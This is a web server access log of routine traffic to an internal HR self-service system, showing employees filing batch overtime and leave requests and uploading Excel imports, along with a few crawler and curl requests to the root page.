192.168.12.82 - - [04/Sep/2025:15:38:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8978013074919067 HTTP/1.1" 200 54628 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:38:01 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8978013074919067 HTTP/1.1" 200 54628
192.168.12.82 - - [04/Sep/2025:15:38:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8978013074919067 HTTP/1.1" 200 56808 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8978013074919067" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:38:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8978013074919067 HTTP/1.1" 200 56808
192.168.12.82 - - [04/Sep/2025:15:38:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4073 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:38:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4073
192.168.12.82 - - [04/Sep/2025:15:38:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 48843 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:38:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 48843
192.168.12.82 - - [04/Sep/2025:15:38:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561
192.168.12.82 - - [04/Sep/2025:15:38:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 53561 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:38:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 214832 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:38:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 214832
100.64.0.1 - - [04/Sep/2025:15:38:53 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; InternetMeasurement/1.0; +https://internet-measurement.com/)"
100.64.0.1 - - [04/Sep/2025:15:38:53 +0800] "GET / HTTP/1.1" 200 439
192.168.12.82 - - [04/Sep/2025:15:40:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:40:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.82 - - [04/Sep/2025:15:40:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:40:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.82 - - [04/Sep/2025:15:40:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0982803375492165 HTTP/1.1" 200 54628 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:40:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0982803375492165 HTTP/1.1" 200 54628
192.168.12.82 - - [04/Sep/2025:15:40:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0982803375492165 HTTP/1.1" 200 56816 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0982803375492165" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:40:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.0982803375492165 HTTP/1.1" 200 56816
192.168.12.82 - - [04/Sep/2025:15:41:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:41:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4211
192.168.12.82 - - [04/Sep/2025:15:41:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.82 - - [04/Sep/2025:15:41:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 17730
192.168.12.82 - - [04/Sep/2025:15:41:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.82 - - [04/Sep/2025:15:41:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.66 - - [04/Sep/2025:15:54:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051
192.168.12.66 - - [04/Sep/2025:15:54:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 4051 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:54:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 107829 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:54:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE007&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%B1%87%E5%85%A5 HTTP/1.1" 200 107829
192.168.12.66 - - [04/Sep/2025:15:54:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:54:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE024&appdesc=%E8%AF%B7%E5%81%87%E6%B1%87%E5%85%A5%E7%BB%93%E6%9E%9C%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 44638
100.64.0.1 - - [04/Sep/2025:15:57:18 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-70.so HTTP/1.1" 200 24672 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:15:57:18 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/iso-ir-70.so HTTP/1.1" 200 24672
192.168.12.66 - - [04/Sep/2025:15:58:33 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.12.66 - - [04/Sep/2025:15:58:33 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:58:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [04/Sep/2025:15:58:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:58:45 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9688763973639571 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:58:45 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9688763973639571 HTTP/1.1" 200 5264
192.168.12.66 - - [04/Sep/2025:15:58:49 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9688763973639571 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9688763973639571" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:58:49 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9688763973639571 HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:15:58:50 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 7553
192.168.12.66 - - [04/Sep/2025:15:58:50 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 7553 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.9688763973639571" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:59:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:15:59:02 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131072%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131072&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:59:02 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D131072%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A131072&target=iframe HTTP/1.1" 200 3251
192.168.12.66 - - [04/Sep/2025:15:59:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [04/Sep/2025:15:59:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:59:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8082253752562806 HTTP/1.1" 200 16008
192.168.12.66 - - [04/Sep/2025:15:59:35 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8082253752562806 HTTP/1.1" 200 16008 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:59:37 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3754299804316803 HTTP/1.1" 200 5264
192.168.12.66 - - [04/Sep/2025:15:59:37 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3754299804316803 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:59:40 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3754299804316803 HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:15:59:40 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3754299804316803 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3754299804316803" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:59:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4553
192.168.12.66 - - [04/Sep/2025:15:59:41 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4553 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.3754299804316803" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:15:59:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4430
192.168.12.66 - - [04/Sep/2025:15:59:43 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4430 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [04/Sep/2025:15:59:55 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:15:59:55 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:16:00:09 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:16:00:09 +0800] "GET / HTTP/1.1" 200 439
192.168.12.66 - - [04/Sep/2025:16:01:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:01:26 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [04/Sep/2025:16:01:38 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7700192765517312 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:01:38 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7700192765517312 HTTP/1.1" 200 5264
192.168.12.66 - - [04/Sep/2025:16:01:41 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7700192765517312 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7700192765517312" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:01:41 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7700192765517312 HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:16:01:42 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5051
192.168.12.66 - - [04/Sep/2025:16:01:42 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5051 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.7700192765517312" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:01:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4862 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:01:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4862
100.64.0.1 - - [04/Sep/2025:16:01:48 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:16:01:48 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; https://zhanzhang.toutiao.com/)"
192.168.12.66 - - [04/Sep/2025:16:02:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:02:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.12.66 - - [04/Sep/2025:16:02:49 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4929477422325327 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:02:49 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4929477422325327 HTTP/1.1" 200 5264
192.168.12.66 - - [04/Sep/2025:16:02:52 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4929477422325327 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4929477422325327" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:16:02:52 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4929477422325327 HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:16:02:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 8057
192.168.12.66 - - [04/Sep/2025:16:02:53 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 8057 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.4929477422325327" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
